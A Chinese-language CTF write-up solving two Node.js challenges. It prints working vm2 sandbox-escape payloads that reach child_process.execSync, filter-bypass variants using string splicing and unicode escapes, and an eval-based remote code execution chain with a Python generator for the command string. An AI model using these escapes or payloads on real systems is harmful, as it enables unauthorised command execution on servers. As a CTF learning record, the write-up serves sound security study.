不会nodejs真是太难了嘤嘤嘤

[HFCTF2020]JustEscape

可以运行代码,php的前端 js的后端

1
2
3
4
(function(){
var err = new Error();
return err.stack;
})();

执行这段代码报错,从而知道是vm2,去git上issues找exp https://github.com/patriksimek/vm2/issues/225

1
2
3
4
5
6
7
8
(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
})()

因为存在过滤,这里学习下几位师傅的姿势

数组绕

p3师傅发现可以用数组绕 code[]=xxx

拼接字符绕

赵总的姿势

1
`${`${`prototyp`}e`}`

完整的payload

1
2
3
4
5
6
7
8
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()

unicode绕

M0on师傅的姿势

1
2
3
4
5
6
7
8
(function(){
TypeError[`prot\\u006ftype`][`get_pr\\u006fcess`] = f=>f[`c\\u006fnstructor`](`return pr\\u006fcess`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`get_pr\\u006fcess`](()=>{}).mainModule[`require`](`child_pr\\u006fcess`)[`\\u0065xecSync`](`cat /flag`).toString();
}
})()


[NPUCTF2020]验证🐎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*
(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second&& md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

第一层,利用js任何数据类型加上字符串都会转变称为字符串的特性,js数字没有length属性

1
2
3
4
5
{
'e': '1+1'
'first': '1', # '1'+'str'='1str'
'second': [1] # [1]+'str'='1str'
}

第二层,js箭头函数,用Math导出String和Function,String.fromCharCode构造命令,Function构建匿名函数,官方wp写的很清楚了这里贴一下

1
2
3
4
5
6
7
8
9
10
11
12
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))
(Math+1)()
// 等价于
const s = Math+1; // '[object Math]1'
const a = s.constructor; // String
const e = a.fromCharCode(...); // ascii to string
const f = a.constructro; // Function
f(e)(); // 调用 这里最后的括号去掉也行,直接f(e)
exp:
def gen(cmd):
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
return ','.join([str(ord(i)) for i in s])